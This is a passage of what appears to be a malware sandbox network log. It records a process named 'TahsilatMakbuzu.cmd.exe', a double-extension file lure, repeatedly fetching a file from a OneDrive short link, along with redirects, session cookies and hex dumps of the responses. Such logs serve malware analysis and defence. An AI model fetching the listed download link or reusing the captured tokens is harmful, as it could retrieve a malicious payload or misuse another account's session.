BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49791	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:13 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:13 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN6PPF21F22231C Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: u6EDH89z20eheVUm85ydUg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 94D1DDCE41AE4801B42F319312DD300B Ref B: EWR30EDGE1011 Ref C: 2024-07-04T18:17:13Z Date: Thu, 04 Jul 2024 18:17:13 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49792	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:14 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:15 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:b4DXh1Wc3Ig=:FVgY3TRQ0hs7q5IxSSJ0s7vOEi020oooNEuO2f8ij4I=:F; domain=.live.com; path=/ Set-Cookie: xid=5ba26fda-fae0-48ec-b456-26ffa7807734&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:14 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM0LCJuYmYiOjE3MjAxMTcwMzQsImdpdmVuX25hbWUiOiIzOCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZDA0OGFlOWE3MDE0OGE1ZTFhNWM5NWRkNDkyYWJmZDciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAzNH0.exrV4wiZY5QsIlqWjhX2n3Cg_TfUyScXQEWmtNDhEmz9b1Cq1Tn_6t7G4_0EFp4Jdesj5qgaJfDQ8cm7Tylxlya2PFfIusvAa1VcHnjgLE8MM0x3JB0-PkAQtqFNa7rU64b8WOfg2i1Fea_q4g2bgN8KrPSMCK0unje3pmz1cTMnY3Bb5nWfgLRPFgNmH3nXj05DYXfJHSYPK6ohou9-_YaSacqb8af-8eGLjUGUsjXFg6KLaYENhd-kFfHzduXvsQ0MIMEjYmGBBFeU-AkTT2atsdyb-JaQX0hMI3Q8wzKK6d-Zrj4jeL1GKpL0jKFPktwdb3RTsDUTrh256Wzcqw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:15 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-f9pk7 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 256AFDDF73E04054961F20881BB111B0 Ref B: BN3EDGE0220 Ref C: 2024-07-04T18:17:14Z Date: Thu, 04 Jul 2024 18:17:14 GMT Connection: close
2024-07-04 18:17:15 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49793	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:15 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM0LCJuYmYiOjE3MjAxMTcwMzQsImdpdmVuX25hbWUiOiIzOCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZDA0OGFlOWE3MDE0OGE1ZTFhNWM5NWRkNDkyYWJmZDciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAzNH0.exrV4wiZY5QsIlqWjhX2n3Cg_TfUyScXQEWmtNDhEmz9b1Cq1Tn_6t7G4_0EFp4Jdesj5qgaJfDQ8cm7Tylxlya2PFfIusvAa1VcHnjgLE8MM0x3JB0-PkAQtqFNa7rU64b8WOfg2i1Fea_q4g2bgN8KrPSMCK0unje3pmz1cTMnY3Bb5nWfgLRPFgNmH3nXj05DYXfJHSYPK6ohou9-_YaSacqb8af-8eGLjUGUsjXFg6KLaYENhd-kFfHzduXvsQ0MIMEjYmGBBFeU-AkTT2atsdyb-JaQX0hMI3Q8wzKK6d-Zrj4jeL1GKpL0jKFPktwdb3RTsDUTrh256Wzcqw; E=P:b4DXh1Wc3Ig=:FVgY3TRQ0hs7q5IxSSJ0s7vOEi020oooNEuO2f8ij4I=:F; xid=5ba26fda-fae0-48ec-b456-26ffa7807 [TRUNCATED]
2024-07-04 18:17:16 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205852 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,28,24650,0,164884,30 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3d1239a1-60bd-6000-01ba-7f11e9d356ff request-id: 3d1239a1-60bd-6000-01ba-7f11e9d356ff MS-CV: oTkSPb1gAGABun8R6dNW/w.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 24 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1AFC89FCBB00449BAEA8A051131B610B Ref B: BN3EDGE0218 Ref C: 2024-07-04T18:17:15Z Date: Thu, 04 Jul 2024 18:17:15 GMT Connection: close
2024-07-04 18:17:16 UTC	2233	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 Data Ascii: 4712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,21350
2024-07-04 18:17:16 UTC	4151	IN	Data Raw: 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 43 33 31 38 36 44 37 38 2d 37 30 35 41 2d 34 30 37 43 2d 41 43 35 32 2d 30 33 43 41 43 31 30 39 31 39 35 35 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 Data Ascii: BCD4A88852":true,"C3186D78-705A-407C-AC52-03CAC1091955":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 65 2c 22 42 37 45 36 36 39 44 30 2d 46 31 38 46 2d 34 37 32 44 2d 42 37 38 41 2d 38 35 32 44 44 32 42 30 45 36 31 33 22 3a 74 72 75 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 Data Ascii: e,"B7E669D0-F18F-472D-B78A-852DD2B0E613":true,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 34 33 43 2d 33 31 43 31 2d 34 33 44 43 2d 42 35 36 34 2d 37 38 32 44 37 42 32 37 43 43 39 45 22 3a 74 72 75 65 2c 22 30 30 34 30 45 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 Data Ascii: 43C-31C1-43DC-B564-782D7B27CC9E":true,"0040E5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":tr
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 2d 34 38 36 33 2d 38 30 31 38 2d 39 41 38 41 45 32 38 32 34 46 39 32 22 3a 74 72 75 65 2c 22 42 43 30 34 36 35 44 41 2d 43 34 41 31 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 Data Ascii: -4863-8018-9A8AE2824F92":true,"BC0465DA-C4A1-4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"8146
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 41 37 2d 30 36 41 43 33 43 31 38 31 44 44 41 22 3a 74 72 75 65 2c 22 46 41 44 35 36 34 39 45 2d 41 35 30 30 2d 34 44 32 35 2d 39 45 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 Data Ascii: A7-06AC3C181DDA":true,"FAD5649E-A500-4D25-9E2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 43 46 45 36 38 37 41 22 3a 74 72 75 65 2c 22 38 32 42 42 39 44 35 31 2d 44 34 45 32 2d 34 42 32 42 2d 39 31 32 43 2d 34 30 39 35 43 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 Data Ascii: CFE687A":true,"82BB9D51-D4E2-4B2B-912C-4095C42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-9
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 42 39 44 35 35 45 34 36 2d 43 37 31 37 2d 34 30 34 39 2d 41 38 41 34 2d 44 31 30 41 46 32 31 46 43 38 36 36 22 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 Data Ascii: :true,"B9D55E46-C717-4049-A8A4-D10AF21FC866":true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3
2024-07-04 18:17:16 UTC	8192	IN	Data Raw: 30 41 35 42 31 34 34 2d 41 35 46 33 2d 34 42 41 37 2d 41 34 31 38 2d 43 43 45 45 34 39 33 35 38 31 38 35 22 3a 74 72 75 65 2c 22 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 Data Ascii: 0A5B144-A5F3-4BA7-A418-CCEE49358185":true,"7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49794	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:16 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:17 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL6PPF2671CEC4B Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: HXkheaynHki3Tn+W58qNCg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 10C75E14346545A1923FE08BC731E32B Ref B: EWR30EDGE0416 Ref C: 2024-07-04T18:17:17Z Date: Thu, 04 Jul 2024 18:17:16 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49795	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:17 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:18 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:TjTUiVWc3Ig=:Oed5d7sTq40YXp9jfikvYeiXJTnFFDdpVxWvQo6a/MU=:F; domain=.live.com; path=/ Set-Cookie: xid=ac1ba27e-562c-4750-a5e7-59d92a3f0a6d&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:17 GMT; path=/ Set-Cookie: 